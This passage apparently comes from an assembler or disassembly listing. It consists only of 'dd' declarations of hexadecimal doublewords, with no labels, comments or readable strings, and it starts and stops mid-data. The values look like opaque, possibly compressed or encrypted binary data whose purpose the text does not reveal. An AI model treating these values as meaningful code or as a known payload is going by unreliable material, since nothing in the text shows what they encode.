		dd 6801C3D4h, 2BB51F85h, 0B1C8AFFCh, 3478FDh, 0AA0ABCDh
		dd 555A5048h, 59782F1Dh, 20FCF20Ch, 0A35338ECh,	0E831CF81h
		dd 9BC270D6h, 1020A850h, 0C1F14651h, 48E3A086h,	2D0C59C5h
		dd 0AE3788h, 23BF9DA0h,	6A8B7AE7h, 4FF9BA00h, 0D0865DEBh
		dd 1667DCDh, 5C6CDBF3h,	0BF433B7Ah, 3DE9019h, 0ADDD7F03h
		dd 89005017h, 48F92495h, 18D8ECE6h, 8F1DE1Ah, 98C0AFCCh
		dd 0FEF95CF5h, 0BEDD00C5h, 1D91416h, 36304A43h,	0FC26D0EEh
		dd 60477731h, 3C7D1090h, 0C9036D14h, 2752F76h, 0C1DBB0CEh
		dd 789400F3h, 0B3DDF4FEh, 0A158F86Dh, 0ABF9008Eh, 4512C040h
		dd 617E73h, 0BDBEB956h,	0A9A0B286h, 2F07DAB8h, 0F18B43EEh
		dd 96D52B90h, 65EF1CAEh, 0BBD880FDh, 0A7F0154Eh, 32812400h
		dd 1DA86D9h, 944900D0h,	3AB908DCh, 0C00A75A6h, 472641Bh
		dd 7AC3407Dh, 3F81AABh,	657CDA7Dh, 80930838h, 616620E7h
		dd 2EAFA671h, 0B0547Ah,	26BB0EDDh, 0B1B90D3h, 0A4299507h
		dd 0BBA94740h, 0F0005D61h, 4F9AD7DAh, 0E54992h,	98427946h
		dd 0C0D490AAh, 0A6A14524h, 28D57201h, 64D818DFh, 0DDC300E2h
		dd 2934BB78h, 5B005A7Fh, 0C83FF9DAh, 0E0AC48h, 7DD4AF3h
		dd 0BF0CC9ADh, 0A400C1ECh, 0CF025A63h, 0EDB269Dh, 3E72B441h
		dd 0F31E29A0h, 810091EEh, 5B941D0Bh, 8530DDh, 58E11490h
		dd 5D72B50h, 0A6FBCB1Ch, 4EE95F00h, 0FA39A908h,	9CD80E09h
		dd 84807FADh, 0FEBFAC19h, 0F000BA7Bh, 4E9E5EAEh, 0B886C5D5h
		dd 4A0E0133h, 506A1A9Bh, 0AB20F427h, 67DA58h, 9DD4B9F0h
		dd 2D1856h, 3CD24F12h, 0A2092522h, 0E17A8600h, 0C7406F75h
		dd 13850918h, 2A8035CDh, 85EF060h, 8900F2FAh, 0EA3C11Fh
		dd 7BE176Dh, 0AC55138h,	0F5321058h, 0C90186D2h,	0AEAAC762h
		dd 56E0C1A1h, 178500BDh, 0B4642F42h, 1D716C10h,	6F01F2E0h
		dd 0E5A512BCh, 5BE01F13h, 0F2EDF003h, 208800F4h, 78D54358h
		dd 0D800081Dh, 310E1C1Bh, 4EECBF1h, 7F8BBB24h, 3024870Dh
		dd 9F6B77A5h, 0D9AB1505h, 0CDC04960h, 94A12Ch, 0AEC91C6Ah
		dd 0F199CCD3h, 74B1F500h, 0FCD8C7CEh, 0B5D030D5h, 0D1D3B810h
		dd 0CCD26A03h, 7690C4h
		dd 9AB4AE78h, 0FC5314E6h, 91C76907h, 993C83D6h,	37470009h
		dd 0A74EF67h, 6A00ECC9h, 5EEE7D9Ah, 3FD79513h, 320035F2h
		dd 27475DC6h, 0DE497B73h, 9C007284h, 24B21296h,	0B6D78h
		dd 65624C81h, 0CB895851h, 0AAD65200h, 0F8EE242Eh, 0CE7830C5h
		dd 5CA9B330h, 9DDACF03h, 0E4CB93Eh, 5FF91E18h, 89078200h
		dd 0E00C510h, 78DE97D1h, 0FC2E35Ch, 6853D012h, 0B5134E00h
		dd 0A5016CA4h, 2CB7D8CAh, 488A96BBh, 0A0AEE8h, 0F47C1D83h
		dd 913EC00Ch, 0C7FB00FAh, 79FCEA1Eh, 1C5800B8h,	67AA3270h
		dd 2500B17Ch, 2ED956BFh, 279D9Fh, 3D249345h, 4194167Eh
		dd 0E9AE0700h, 0E48F2836h, 260FEE2Eh, 164A49Eh,	0C8FACC35h
		dd 0A8D3073h, 1A004670h, 0D35E3AB2h, 0A1997E1h,	63FB8BC7h
		dd 0DF6701F0h, 401AD789h, 7261FFC4h, 0A8B5F07h,	19203A82h
		dd 91E9BD0h, 30460520h,	0CEDD5003h, 79DEAA80h, 64416D12h
		dd 0E8722830h, 1C31007Ch, 9CD7A2CDh, 0F013AC63h, 5840A408h
		dd 6B423380h, 49D100B3h, 6A03BD31h, 2090B758h, 0E04A3030h
		dd 3DE74DBBh, 15808D90h, 0BC9A9509h, 266E082Dh,	379902B8h
		dd 4AC89876h, 6EFA00C9h, 5E450A84h, 503E0B5Bh, 0ECFF016Ah
		dd 0FE4E75ABh, 7B1824h,	76719678h, 0CAFA1ACCh, 79B880A8h
		dd 128E6B3Fh, 846048C4h, 491C3A95h, 6D0258F2h, 7BF5E676h
		dd 89380845h, 0A947091h, 0A300CC00h, 0F0DF11A1h, 0CF54954h
		dd 8057B50Fh, 343E4180h, 0F475DDE4h, 0A6F45CF8h, 48DCB400h
		dd 75CBA7B6h, 891C010Bh, 85143AA5h, 54742250h, 0B172A03Ch
		dd 0CCCD8928h, 0AF65EA03h, 88B87611h, 5F4FA5h, 835E1526h
		dd 4BF5D432h, 0C41C2D2Ah, 0A0306F20h, 0F696CF8h, 0D78E18E1h
		dd 48C0E420h, 31249960h, 8780EC35h, 7A941BDh, 0C980606Bh
		dd 0ED95B393h, 0DC2E1C78h, 71FCBD4h, 7CF664Bh, 13707248h
		dd 0C1996C36h, 0E099F30h, 0CA3C5048h, 0FE6079A7h, 0DA215851h
		dd 3176601Eh, 5AC4B78Bh, 4F1D98FEh, 90661DCFh, 7AEFBC40h
		dd 79F51392h, 8D1800F6h, 6E199968h, 89675632h, 0EB9323B8h
		dd 6355D8C0h, 0EFEC8100h, 0CDF44F6Ah, 47E30378h, 88E26EA2h
		dd 98B65E90h, 62328600h, 3D2A1DB7h, 8CA0028h, 0E1014135h
		dd 334CA9FEh, 0AA1280C4h, 6E389Ch, 0F1670299h, 3B9EB3F0h
		dd 0F34B0315h, 2E0717C0h, 0E7EF750Fh, 99CC5BC0h, 0D5E800C1h
		dd 4C2958DCh, 0A2A061BCh, 0B100BD0Eh, 5FEF9BE0h, 0E26C1A2Ch
		dd 0A1B600A4h, 0D1C41042h, 62540DD6h, 8E098894h, 1CE34ADFh
		dd 0D2C0040h, 0D3083733h, 1E004173h, 0E34E80D4h, 0BBF44Ah
		dd 0DF308BB3h, 0AFE9EA5Eh, 5818A905h, 8CD112C1h, 0C62C4DBh
		dd 0F9D1CA00h, 5A1A3231h, 0C994AF3Eh, 2CEB0090h, 92B40DABh
		dd 8097603Ch, 0FC46B80Eh, 62666A0Eh, 5087E064h,	5816E34Dh
		dd 2414B990h, 0A500BC73h, 70DBAA58h, 0B5006074h, 5622B7A6h
		dd 28858E2Eh, 1EEE7D86h, 4051081Ch, 43AD62BCh, 6A00E2BAh
		dd 6BD8794Eh, 1C8B1A1Bh, 800112F6h, 3178A00Ch, 0AD07D02Fh
		dd 0BD7DEDABh, 0A18C43h, 5A762542h, 670D6018h, 79122A00h
		dd 0EF765D3h, 99EAFEh, 8E87438Bh, 32E6DEC1h, 1930F600h
		dd 93FE37BCh, 7FC505FAh, 802B1B76h, 87D496AFh, 0A08248h
		dd 2255B1E8h, 1B0D85h, 4767E1A8h, 45B26572h, 5EDD9B1Fh
		dd 8CF800FCh, 4919D541h, 3BE62C9Eh, 5BF19E68h, 0E7F178FAh
		dd 3CC020B2h, 0B5007C7Fh, 1A012363h, 1F7F42DCh,	479190EAh
		dd 10B1562Fh, 526F123Ch, 39FECE0Eh, 87C1C9B9h, 6A010F28h
		dd 2A0804h, 0A49BF177h,	0C4E63384h, 7A579F00h, 6CB4AF22h
		dd 0A6C51C62h, 45411366h, 909C4C98h, 9157F81Ch,	0D098AE04h
		dd 0BC80E2E4h, 0F0FF29DEh, 0D8E80958h, 3AF6D99Fh, 0D7310900h
		dd 29C20h, 17D2D5BDh, 0E718DFCAh, 0A7486672h, 67360030h
		dd 0FA90CEE4h, 1CE24833h, 89D38600h, 5E92BD1Ch,	15A37B03h
		dd 0B03F8BE6h, 1732D65h, 6D574BAEh, 24BF6960h, 5B0EE354h
		dd 8A216140h, 14809030h, 0C288DBB9h, 8A8F0B63h,	58381B32h
		dd 889A1E8Bh, 2D103100h, 0FFD10699h, 59AB0460h,	882E1963h
		dd 0A000C8F4h, 2DC94742h, 592A4D89h, 2800082Bh,	6FF3A27Fh
		dd 9209E8DCh, 90D97622h, 0D1DE58h, 75B152FCh, 7BA266F4h
		dd 6ECDF2CFh, 0D153BE04h, 25DB5430h, 0A1D21311h, 868C40AEh
		dd 0C8FDFCB7h, 5CF1B8A0h, 8FF53A00h, 2E393710h,	5782094Fh
		dd 90981555h, 2000FEA8h, 0FB2BB048h, 0F2832605h, 0C2EC0FEBh
		dd 8880ACBBh, 12B51C5Ch, 9888F890h, 0F0B2D320h,	0E2C4A300h
		dd 0DE69E502h, 0DAE926A7h, 24B38004h, 7DFB08AAh, 2ECFF33Ch
		dd 4C268425h, 0A3508F00h, 0F2C0E8h, 0E9D07173h,	2F0645F1h
		dd 0F17ECC24h, 0A2BC506h, 0B0A061F1h, 30BAFACFh, 4F09D8F7h
		dd 947BC679h, 0BAD8B564h, 59002C92h, 0C3E3F46Ah, 92C93EAEh
		dd 0C6D13E44h, 0EAA1C20Ch, 2B00DC10h, 1560D2C5h, 0B0EDFh
		dd 423C644Ch, 2036CBB9h, 85EB011Bh, 0ABA3D812h,	7A500A6h
		dd 5C50A46Ah, 5800F305h, 787AD3DBh, 7B559D65h, 3016076Ch
		dd 90C9BCF6h, 0B807F411h, 1349F9FAh, 70932C24h,	21E0A42Eh
		dd 551EC2h, 3D5D54E6h, 810E8F4Eh, 6012F338h, 0CA617F3Ah
		dd 4F9501C1h, 0D0450D6Ah, 0A8E5D489h, 4AAF8113h, 0B299C28h
		dd 0CFB2435Ah, 0E51B0420h, 18038517h, 0B70EB3B6h, 0DADC90ECh
		dd 0FF80043h, 36893739h, 440001B5h, 0CB71FD5Ah,	799BCFh
		dd 5F4B8E4Eh, 0AD63C09Dh, 0A6BD7F00h, 6FA58B9h,	3FEDF0F3h
		dd 99000E08h, 0C8E4A1BAh, 1604EB95h, 5E8A4077h,	0F7A01887h
		dd 3B41EA0Dh, 85008142h, 0D3FFC0F3h, 0E707A53Dh, 4A206175h
		dd 90A7A8D0h, 1E8F14AAh, 0D40CD8E3h, 0D6C88399h, 95BBE00h
		dd 0D3354BD8h, 0E8AC3A41h, 4C480C72h, 0F83011DEh, 84B07400h
		dd 0D5ABC7D4h, 3BD80706h, 30495C8Eh, 28BE213Dh,	0C8C6A400h
		dd 91059993h, 293503ECh, 0C11D61C0h, 95507A98h,	0A00E3400h
		dd 3079CCB6h, 24A500CAh, 0FB42861Eh, 5200DBD3h,	0A16D7C83h
		dd 770293B7h, 8FA824BBh, 0B3F00DDh, 0B1158A49h,	0F8CDC01h
		dd 142F9D63h, 0CCE824h,	0D2D3D30h, 5EF1C743h, 33009B70h
		dd 75F06291h, 1FCCE36Bh, 475FABF2h, 0B067E0D4h,	73E54984h
		dd 81456000h, 0C5F1DCADh, 9FFF1FA2h, 0B6C6C13Eh, 64161D27h
		dd 261E1014h, 72C0D0A5h, 9DBC4B34h, 4EBA0E90h, 0D160EAB3h
		dd 0B51F8950h, 9A936212h, 5ABCA440h, 67E653h, 0D57B08B0h
		dd 0D74D1131h, 43CB7200h, 9185C6C0h, 3DBD7435h,	0B580BC68h
		dd 58F85FDEh, 0B00E404Eh, 0E93A718Eh, 0A9158059h, 0D802F3h
		dd 0C1F17D12h, 1ADAB5F5h, 72D1090Fh, 0C52F405Dh, 0E06C35h
		dd 0F4DDA542h, 62C3ABC1h, 891B100h, 0BE5B9BBBh,	0F62C004Ah
		dd 80690466h, 0F0EE2785h, 387A0C00h, 0E05632EFh, 51720ED8h
		dd 0CBC00F09h, 0CF1A675h, 5F559C0Fh, 0E576081h,	0FE4EC122h
		dd 41603984h, 0F1D100FFh, 52425BAAh, 3A6C255Dh,	1080A172h
		dd 58322D8Ah, 0A35031Bh, 0D07C79B6h, 673AF1Eh, 8A5B1BEEh
		dd 1400DA9Eh, 19284D40h, 0E8FC69h, 6729F6A5h, 77C9D8F8h
		dd 0E6F79700h, 8DC8B6C5h, 0E7413F62h, 0E2BD0A00h, 0E1DBB7F9h
		dd 4DB54B01h, 23A37856h, 0DE49E0h, 0CBE5F2DDh, 2593AE94h
		dd 0AB44EF03h, 155EE42h, 79B48010h, 0C89E7053h,	7D00AECFh
		dd 3805E74Ch, 1AA9DBDh,	8968B1CDh, 0D80C6E19h, 0FC18B4F9h
		dd 0DD0C5F51h, 0F5CA0043h
		dd 483E2ABAh, 463BCB22h, 5C112478h, 63E8EF00h, 0F42157F4h
		dd 22BD0780h, 500FEC47h, 9F2E02BAh, 8BB5D80Fh, 8DC780DFh
		dd 694537h, 0F9CE2AF8h,	1B2CB917h, 5CB47C01h, 76A1012h
		dd 9C83BA00h, 0E4FA5000h, 3C2ECAC2h, 93360361h,	8CE6204h
		dd 545E4088h, 1DA32407h, 0DD572187h, 8AD59B10h,	0AC209ABh
		dd 83807FE5h, 0D30D0C37h, 26CCC05h, 2C906F53h, 7808CFh
		dd 99413714h, 6BC28A23h, 1D6F151Ch, 0BF91DB40h,	7228C8ACh
		dd 2A2700FFh, 18095097h, 31009F0Dh, 42DA1982h, 0D8894D3h
		dd 304A6ED6h, 99A0ECC0h, 17FA5300h, 0C00EA1DCh,	0E40302F1h
		dd 0CF58730h, 0B8F2A440h, 387D5D00h, 99F6CA6h, 0C136386Ah
		dd 0A5ACBC80h, 9917218Fh, 33B22600h, 7A4968F4h,	6BDE009Bh
		dd 0BF529512h, 3C3C9DD1h, 7CE7805Ch, 140A8A97h,	75E00962h
		dd 37808BB3h, 30C7FAE2h, 0F7A0F3Fh, 0C01335F3h,	0FBE3D717h
		dd 26B018h, 12C755Fh, 0CF5BEA45h, 314BC812h, 8EC0C41Dh
		dd 0ED368034h, 0A9FC04E2h, 82B9CAEEh, 0C8C05AA8h, 0CD723928h
		dd 8ACCFB1Dh, 7C9B6140h, 0F05C02DCh, 910703FEh,	4835724Bh
		dd 714CF400h, 0B1E544DBh, 218A0095h, 0FBC73D2Eh, 0F49CBC20h
		dd 9B85D104h, 5D23F100h, 505B09BDh, 70456841h, 0C4F9199Fh
		dd 7EB9D1FCh, 0C7D80EECh, 9DC110B5h, 20010C9Ch,	39168F50h
		dd 3F006777h, 20BC8D6Dh, 50930082h, 99834B37h, 6E04CDE8h
		dd 0A01D32FEh, 2114A0h,	19B4D40Eh, 5DCA1AA9h, 37D7ED17h
		dd 0AB0484h, 236A542h, 8CE5AFEh, 0E5578179h, 0A986D7E6h
		dd 51A1BF43h, 0C5295D0Eh, 825989CEh, 0C0337A67h, 58FD4EBFh
		dd 5C001A32h, 0E5202F85h, 0CD0ED8D6h, 2162B09h,	8017D78Fh
		dd 5D507F4Ch, 0FE5C265Bh, 563D0089h, 0ACA07643h, 7B161F00h
		dd 649112AAh, 630DD21h,	0B93672EBh, 5639B400h, 0A8F5C31Ah
		dd 0CFD90A3Ch, 0A105196h, 1C6F9Eh, 816478Dh, 9901670Dh
		dd 0A40590D0h, 92DC4B9Bh, 53690091h, 9714DD78h,	0A2422C3h
		dd 0ED86ACA0h, 0FAB1DA9Ch, 6351C026h, 0DFEC5F01h, 90C5E406h
		dd 340E194h, 5C5D7E9Dh,	0CE93DC34h, 63AE73E8h, 0C3106D05h
		dd 0A820059Ah, 29BB26h,	47A91F14h, 0EC9E1052h, 21EA0130h
		dd 955505h, 9BA242Ah, 0A3B72C27h, 0E2D69C0Eh, 1C2260A1h
		dd 0CEC39620h, 0A489B830h, 12A1D10Ch, 465B1D00h, 0A0160FAAh
		dd 898FB96h, 874D31B7h,	0DBAF5B00h, 0E83B3A3Eh,	20F1CF91h
		dd 7F2D803Dh, 2B6F07F3h, 1BBA5301h, 268F5A61h, 0B0FA23C8h
		dd 0D0E820h, 0BE1904ACh, 0EF1AB97Dh, 72811460h,	2515BD9h
		dd 392A7EB5h, 8080A9ADh, 0E31C29CFh, 922AA6F2h,	0D90EACA4h
		dd 891A592Eh, 0E060EB69h, 28A055Ch, 0FF514A32h,	948BAD62h
		dd 0F43F0805h, 71C00504h, 0C5A04BB1h, 41F7F69h,	15CDD1CAh
		dd 5D9CC09Dh, 0DD0ADB2Ah, 800FAB34h, 6F47D901h,	0F8F0A77Eh
		dd 0FF590033h, 6CB051AAh, 14006DE1h, 28197375h,	265CFE76h
		dd 7783D7Ah, 30CEA21Ah,	0B49FC8EDh, 0CFBD4E2Ch,	65E2600h
		dd 0C6BC133h, 27771CC3h, 3201A499h, 0BD6340B1h,	0F082A3F0h
		dd 8678A63Dh, 7B000064h, 0D9EFC305h, 1D22415Dh,	1556359Eh
		dd 0F42790E1h, 0FB0024D8h, 0EF105043h, 861C12h,	5246289Bh
		dd 0ED75DD79h, 6CBCB773h, 0F309421Dh, 0C4D81062h, 0C98000F6h
		dd 36F7795Dh, 0C2746FE9h, 0ABA43254h, 4E801F06h, 5B92DFCh
		dd 59B65509h, 3FDC0D2h,	0C80A2AA9h, 0D08E68FDh,	3828A408h
		dd 28D8B32Ah, 79739E9h,	0C1A6CE14h, 4852A061h, 6B002BABh
		dd 70A93B09h, 31035Fh, 0EB1E89ADh, 0EC0268D3h, 48078B3Ah
		dd 0F51F00F4h, 594C94CAh, 182171DEh, 0A93B79F4h, 1D399B57h
		dd 89CB009Ch, 5D6185B6h, 264C0063h, 0AE6C05A5h,	915F1F56h
		dd 393AF00Ch, 2ABC0033h, 611821B8h, 2D0048B2h, 9910DABh
		dd 0CC56362h, 699BFFCCh, 5487431h, 435F80C4h, 3CF30C87h
		dd 17814B8Dh, 8B6C6170h, 0CD50FCF0h, 0AA7CC913h, 23BC6C10h
		dd 834A0087h, 0C2995DF5h, 373D4486h, 3880F300h,	7849FFE6h
		dd 0DF6F003Ch, 0C6910C4Eh, 7242AB1h, 0FA081825h, 817F658Bh
		dd 264DD9C1h, 30474E18h, 65307E9Ah, 0B4AE91h, 0AC1A162Eh
		dd 53A63C83h, 6303C93h,	0A445D984h, 0A60D2024h,	8E78D539h
		dd 0FD73DA03h, 83B39480h, 0CB333D4Eh, 23811B98h, 0F5E09511h
		dd 392860BAh, 73CA9B01h, 579283D8h, 1223C034h, 0EEAB6h
		dd 0EFB57F90h, 3777B9FBh, 0F284F901h, 0C625E23h, 7C02081h
		dd 4FF34232h, 719C1120h, 4B79480h, 0C0A54085h, 858011EEh
		dd 2032B8EFh, 27CD4F00h, 0FE28B6BDh, 296260C2h,	0C5899571h
		dd 1454482Ch, 46568282h, 0D134409Ah, 0C3D500E9h, 8151328Bh
		dd 8601F2AFh, 0DC490969h, 0B8501443h, 162CD640h, 91201F80h
		dd 480E2534h, 0BF00D1C8h, 73B57E97h, 5837BD6Eh,	0CB8038C1h
		dd 2C8DA010h, 4C920B28h, 2C96500h, 2E82A3C3h, 9067690Fh
		dd 436B4004h, 31C5BCA1h, 0BBB89EA4h, 63FCE1C3h,	5B860214h
		dd 1C87AA73h, 5B3C4000h, 1F59273Fh, 742CA023h, 0BAE8C201h
		dd 3CCCCEC3h, 6D98DB04h, 0BD623FAAh, 5B65AB20h,	0A55F00A4h
		dd 4C8CA8D1h, 8D0AEBDFh, 908A244Dh, 0A445044h, 4C74022h
		dd 58A74BDFh, 73AA2Eh, 250A29CCh, 0BBB3D39Bh, 1CA41154h
		dd 2C465C5Bh, 41FF03h, 99F0CD13h, 0D16D70D7h, 2D0AD01h
		dd 0C3AFF71Fh, 81CBC891h, 0AA6A98D8h, 0C8C9CE6h, 575BF3B2h
		dd 6913ADBAh, 6841C23Eh, 0AE61C4EDh, 63121023h,	0BE4840A2h
		dd 0ECB6C2C8h, 4BDE0502h, 0E01DDA50h, 0A112BA47h, 80542FA8h
		dd 0E0EB9823h, 452A838h, 0F348C2DEh, 87F8C03Eh,	0FA33AC28h
		dd 0F011B15Ah, 7E7640h,	7ADB3C1h, 6FD1C301h, 8030B648h
		dd 779DAE9Eh, 941D00F2h, 54CCC3A0h, 21C05986h, 92B0132h
		dd 3BAF3FD1h, 39332FBDh, 0D2F05E61h, 141D35DCh,	0CF02CDF0h
		dd 40A72D0Ch, 0BA35CC4h, 2E28C2CAh, 7E8284A1h, 93482426h
		dd 0EB77E800h, 0CAAA129Ch, 0E4900Fh, 0A245FF9h,	0C5DD618Eh
		dd 0AE189BF2h, 8256EB2Ch, 64803066h, 0E5B8C240h, 4C587561h
		dd 54609BBFh, 5A970421h, 0D10A86CDh, 2BC7B658h,	0F417C2C1h
		dd 0CE99E4h, 0C3F9B484h, 0D3EDAF9Dh, 683A6307h,	87DB667Eh
		dd 0CAE583F4h, 5BEFFC60h, 5FAA2378h, 0FEAB08h, 0B75B896Fh
		dd 830160E6h, 0C37B74F9h, 8C378029h, 0C37AE2A7h, 357DE422h
		dd 0C7042021h, 8234B418h, 77309288h, 5DC80B83h,	4816F411h
		dd 8000FCF2h, 607C558Ah, 91B649h, 8F6D24C9h, 0E2232728h
		dd 0FC5A5409h, 0E8184286h, 0B72965Ch, 0E6B63B36h, 11E008AEh
		dd 10065F65h, 8A5DA1C0h, 0EE34CA30h, 0FA2678C2h, 378B2413h
		dd 0BF72027Dh, 7C408A39h, 360114F6h, 956B421Ah,	3FF2AE2h
		dd 0B93F6518h, 8BE1C004h, 715C2464h, 0D5FA7712h, 0BF78C00h
		dd 2EA144Fh, 261AF4Bh, 0D86866D9h, 19074573h, 0A1F2AC20h
		dd 0D8BE8889h, 0AA8CC21Eh, 4540F6h, 3640DA34h, 4181AF92h
		dd 76189B61h, 383A1A83h, 0AD0BC548h, 8140207Ch,	155D2B93h
		dd 0F3421C8h, 0C6EA56AFh, 80B645C4h, 0AD1AC60h,	921FDCFDh
		dd 7F0D1898h, 30559BEDh, 0D28C60h, 0BD0D6AD8h, 51FE0B4Ah
		dd 3DE41E4Ch, 0E78C9966h, 28402268h, 0C77E4E94h, 0B6351B19h
		dd 2B0C99D4h, 0A902C130h, 5FB514AAh, 7AC16065h,	893A07D8h
		dd 84D9A6A8h, 0E090BB3Ch, 8291C766h, 7D929000h,	950262F3h
		dd 0D86C3173h, 55488056h
		dd 0A45975DEh, 8468567Ch, 7974FB19h, 0B8EDEC52h, 84185068h
		dd 4B9F5A10h, 7C014E6Ch, 0A662A8AFh, 4820CD90h,	0E18AAE21h
		dd 837E89AFh, 48C35149h, 20C909AAh, 1087DB75h, 156AC058h
		dd 0B4D8B591h, 28F7F3A9h, 0EE18671Bh, 0C2D30728h, 0E30E10ACh
		dd 590C2BB5h, 395CED91h, 9AE9016Ah, 2EADA5AFh, 409453C5h
		dd 0D9C77580h, 83D811C9h, 0F0145668h, 94B7FFCDh, 751280B8h
		dd 90895AEDh, 0E3AF8C01h, 0A757BDABh, 0A16C1087h, 42857420h
		dd 0C3C9F5CFh, 5923A02Ch, 51707036h, 30413457h,	9310BBAEh
		dd 0AF3FF3C3h, 0A028A972h, 6B010024h, 4557DC24h, 65E0024h
		dd 0AEF758FDh, 667F1037h, 2B03149Ah, 0CDBAFE05h, 0B9100AD0h
		dd 85849951h, 0C0DD1E11h, 0ACA0E608h, 0EB0016FAh, 64C335D7h
		dd 0BAA754DCh, 409E5750h, 0A7085AC8h, 890052D0h, 1A0C90CDh
		dd 0A4190F63h, 0D330E1F5h, 0D03940E1h, 0AC3FB715h, 5450EB14h
		dd 35141062h, 432FBC84h, 13CC9F57h, 4743A138h, 729BBE60h
		dd 94EBAD27h, 13E0B14Ch, 10222EA9h, 810CA7E3h, 0BB8242B8h
		dd 7CCB6110h, 0A8661306h, 0FBB0E30Fh, 81FF0446h, 9425E21h
		dd 2008483Dh, 5200D7F4h, 0EEB6BE54h, 3D9CB323h,	741A3485h
		dd 0E004A405h, 0F563F200h, 363EF65Ah, 9B09CD43h, 63CAC021h
		dd 35EFD600h, 1F293AE4h, 895B64B8h, 0A2DCA403h,	9DA02500h
		dd 0F07D5C76h, 0ECBA0024h, 9C982B54h, 0E07E9B8h, 46355297h
		dd 9D74AC00h, 205500C2h, 82D937CCh, 1261C131h, 0C3B4DD59h
		dd 140BDCh, 0C413B358h,	214B6B90h, 0C50F8705h, 0FC8CAC23h
		dd 3C7E5C9Ah, 0AB5008D6h, 5C1C2083h, 4B59010Dh,	0AE354A8Fh
		dd 0F82193B2h, 0AF56AC06h, 9611EA48h, 0B4AA8330h, 0C0CDCA89h
		dd 3B3AF06Ch, 128CBB52h, 48800B8Bh, 1FCBCFE3h, 81FED294h
		dd 9915C4A3h, 0BAAAD42Fh, 4225FCE5h, 52703530h,	0E105F123h
		dd 9200E062h, 0FFC596A5h, 0ECA82D9Fh, 0B55BAD35h, 58E24C24h
		dd 1F3C5D02h, 0C091DEE4h, 0FD8E10D6h, 214800AEh, 0D1C40B92h
		dd 7E3BE695h, 23C718F0h, 0F11331h, 8A349327h, 7A32EC96h
		dd 3E58E600h, 7F357023h, 0E6CEC20h, 0BBF289F5h,	4636C2A3h
		dd 2BD7948h, 291D1DBh, 68C8C19Eh, 7B746080h, 7F3B3EDEh
		dd 0A0428B2Ah, 0C5447300h, 0E32682F9h, 6ACC05E8h, 0A079D3DCh
		dd 48EA1B90h, 31716800h, 6C923D9Eh, 0C6DB27F3h,	771C5081h
		dd 52B98036h, 55AEC310h, 0A6531DD6h, 53FEBE5Ah,	0C300C46Bh
		dd 150D03D5h, 9F05EBFEh, 784750F5h, 0B4563FC0h,	0EA102514h
		dd 0D7C5018h, 9C30954Ah, 23CF80F0h, 2E11695Dh, 0DC021D20h
		dd 9D49E816h, 99244C34h, 6CA9836Ch, 9BD006E6h, 0C35A1EECh
		dd 0EA21B840h, 48E40C01h, 0A41144B8h, 63200C98h, 18D46934h
		dd 0C08CDE03h, 6745973h, 15919E00h, 6DBB0782h, 3AA3028Dh
		dd 0F43DF09h, 0B91C80A2h, 3332872h, 0A8885944h,	0E0FF6943h
		dd 0FCAA2782h, 7C007DF6h, 0EBFA3067h, 0F38F0090h, 0BF285D5Ah
		dd 0C14837BAh, 0EB3C8018h, 0CE953Eh, 628EB416h,	9A5210A8h
		dd 30A6FF39h, 46452908h, 1ED9749Fh, 8FAF3A3Ch, 11BB1CDEh
		dd 8D3A830h, 3CDDBFEh, 0D8FF5D6Ah, 404375A7h, 0D7FD0190h
		dd 59C8D205h, 0EB8B4434h, 6B03C000h, 5DB86802h,	0E30F7798h
		dd 0E680C5E6h, 2A231BBFh, 0A03966h, 31061654h, 85E85241h
		dd 9AF1F700h, 0FAC40A92h, 550B1417h, 1F22305Dh,	4CF05F0Fh
		dd 13AF4068h, 61CE6Ah, 11093329h, 5D1CDBF1h, 2585209Ch
		dd 0BC4632A2h, 793166h,	0A3EA6908h, 0BF45F7F8h,	0FC645A00h
		dd 59043BE3h, 4DDD7C93h, 8B935CDEh, 0C6BDC8D4h,	0A5A10225h
		dd 58380Ah, 3FB6BB72h, 5A1AF5B5h, 886C00DCh, 4873ACA3h
		dd 51B48F03h, 0B358B668h, 78A7AAD9h, 5C8C96ECh,	87C03821h
		dd 0C5B6C2CDh, 0F988C2D3h, 0DCACA0EBh, 0F74B7998h, 1D400800h
		dd 35DA44Ch, 873E9585h,	0C8DDFCADh, 0AA4C35D8h,	28009278h
		dd 0F2867F39h, 0F42F0EE5h, 0EA4A5A2Ah, 0F5B161B4h, 9E1468C6h
		dd 647D007Bh, 440AA8CFh, 0E09C0577h, 908A61AFh,	9EDE557Ch
		dd 0CB49A607h, 0FD836C59h, 40E6EAA3h, 0E9E28D54h, 6EA9F470h
		dd 54A4302Dh, 3B0C9043h, 0A10E5590h, 42368E0Fh,	0C06FA5BDh
		dd 18A0424h, 6D6EE54Ch,	4269D9FFh, 0D8AFA368h, 0C13E2304h
		dd 417B5E41h, 32B7ED8Ch, 0DB041C80h, 68B91F85h,	28BD5088h
		dd 93C65CDh, 0C13AA9D8h, 24F99010h, 0E905A80Eh,	61D04015h
		dd 0E6463195h, 6FEC09FCh, 0C000EE52h, 0DC623D2h, 58BDA918h
		dd 0FB4B1C9h, 5A2E436Ch, 7DC173C0h, 9905DC22h, 3BDFDB87h
		dd 20917082h, 5594CF01h, 44EC9E00h, 2AE9780h, 305425DFh
		dd 0FDEABC48h, 3203AA03h, 303EAC66h, 0C0418B88h, 107E5CDh
		dd 68D3EFBCh, 4AF9D63h,	69E964F9h, 1E1C903Dh, 80F7B635h
		dd 0A63C3E39h, 2CACFCBBh, 81CCA9B8h, 0E4945AEBh, 0DA03853h
		dd 58EC193Eh, 49A177D4h, 7901204Dh, 61B8AFF3h, 0EBE440E0h
		dd 0B73FC501h, 73783C49h, 0E7E48C18h, 0A4906B49h, 438605CCh
		dd 23F01124h, 169B8218h, 0A97EE7D8h, 0C0C0DE76h, 91037150h
		dd 0AD7001Dh, 2976739Dh, 0DC09AF78h, 724233Bh, 0D804EC61h
		dd 4500A8C5h, 46BEA8EAh, 75FC0780h, 0C142268Ch,	2564F696h
		dd 8DB88898h, 5AA8818Ah, 4294AD20h, 120169Ch, 48377425h
		dd 40C0309Eh, 549A91E2h, 3675DA05h, 0F0D8471Ah,	0FE6304F5h
		dd 32023E5Ah, 0CD172044h, 60904E63h, 7D043344h,	87E091C6h
		dd 295810Dh, 984A5244h,	0ABBFE9C0h, 3EB17000h, 0C56AE6AFh
		dd 0C8CF0111h, 9AA30134h, 2BD89F46h, 4C843815h,	988C7EB8h
		dd 5DF317A8h, 0DC8D49h,	8344E144h, 29A40800h, 70BFD07Ch
		dd 105D01E5h, 0B2378B23h, 70844680h, 0C7E0C20Ch, 4194206Bh
		dd 80427A0Bh, 60F2A303h, 18BD6B62h, 205958EDh, 421FD9AFh
